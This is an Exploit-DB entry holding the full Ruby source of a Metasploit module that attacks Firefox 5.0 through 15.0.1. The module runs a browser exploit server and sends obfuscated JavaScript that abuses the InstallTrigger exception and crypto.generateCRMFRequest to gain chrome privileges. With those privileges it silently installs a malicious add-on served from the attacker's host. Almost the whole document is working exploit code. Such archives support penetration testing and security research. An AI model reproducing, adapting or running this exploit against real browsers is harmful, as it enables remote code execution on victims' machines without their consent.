Exploit-DB #30474
Description: Mozilla Firefox 5.0 < 15.0.1 - __exposedProps__ XCS Code Execution (Metasploit)
Type: local
Platform: multiple
Date: 2013-08-06
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Remote::FirefoxAddonGenerator

  autopwn_info({
    :ua_name    => HttpClients::FF,
    :ua_minver  => "5.0",
    :ua_maxver  => "15.0.1",
    :javascript => true,
    :rank       => NormalRanking
  })

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
      'Description'    => %q{
        On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
        invalid input, would throw an exception that did not have an __exposedProps__
        property set. By re-setting this property on the exception object's prototype,
        the chrome-based defineProperty method is made available.
        With the defineProperty method, functions belonging to window and document can be
        overriden with a function that gets called from chrome-privileged context. From here,
        another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
        into the context's private scope. Since the window does not have a chrome:// URL,
        the insecure parts of Components.classes are not available, so instead the AddonManager
        API is invoked to silently install a malicious plugin.
      },
      'License' => MSF_LICENSE,
      'Author'  => [
        'Mariusz Mlynski', # discovered CVE-2012-3993
        'moz_bug_r_a4', # discovered CVE-2013-1710
        'joev' # metasploit module
      ],
      'DisclosureDate' => "Aug 6 2013",
      'References' => [
        ['CVE', '2012-3993'],  # used to install function that gets called from chrome:// (ff<15)
        ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
        ['CVE', '2013-1710'],  # used to peek into privileged caller's closure (ff<23)
      ],
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::FF,
        :ua_ver  => lambda { |ver| ver.to_i.between?(5, 15) }
      }
    ))

    register_options([
      OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
    ], self.class)
  end

  def on_request_exploit(cli, request, target_info)
    if request.uri.match(/\.xpi$/i)
      print_status("Sending the malicious addon")
      send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
    else
      print_status("Sending HTML")
      res = generate_html(target_info,request.headers['Host'])
      vprint_status res.to_s
      send_response_html(cli, res)
    end
  end

  def generate_html(target_info,refer)
    injection = if target_info[:ua_ver].to_i == 15
      "Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
    else
      "p2.constructor.defineProperty(obj,key,{get:runme});"
    end

    if refer.nil? or refer.blank?
      redirect = "#{get_module_uri}/addon.xpi"
    else
      proto = ((datastore['SSL']) ? 'https' : 'http')
      redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"
    end

    script = js_obfuscate %Q|
      try{InstallTrigger.install(0)}catch(e){p=e;};
      var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
      p2.__exposedProps__={
        constructor:'rw',
        prototype:'rw',
        defineProperty:'rw',
        __exposedProps__:'rw'
      };
      var s = document.querySelector('#payload').innerHTML;
      var q = false;
      var register = function(obj,key) {
        var runme = function(){
          if (q) return;
          q = true;
          window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");
        };
        try {
          #{injection}
        } catch (e) {}
      };
      for (var i in window) register(window, i);
      for (var i in document) register(document, i);
    |

    js_payload = js_obfuscate %Q|
      if (!window.done) {
        window.AddonManager.getInstallForURL(
          '#{redirect}',
          function(install) { install.install() },
          'application/x-xpinstall'
        );
        window.done = true;
      }
    |

    %Q|
      <html>
      <body>
      #{datastore['CONTENT']}
      <div id='payload' style='display:none'>
        #{js_payload}
      </div>
      <script>
        #{script}
      </script>
      </body>
      </html>
    |
  end
end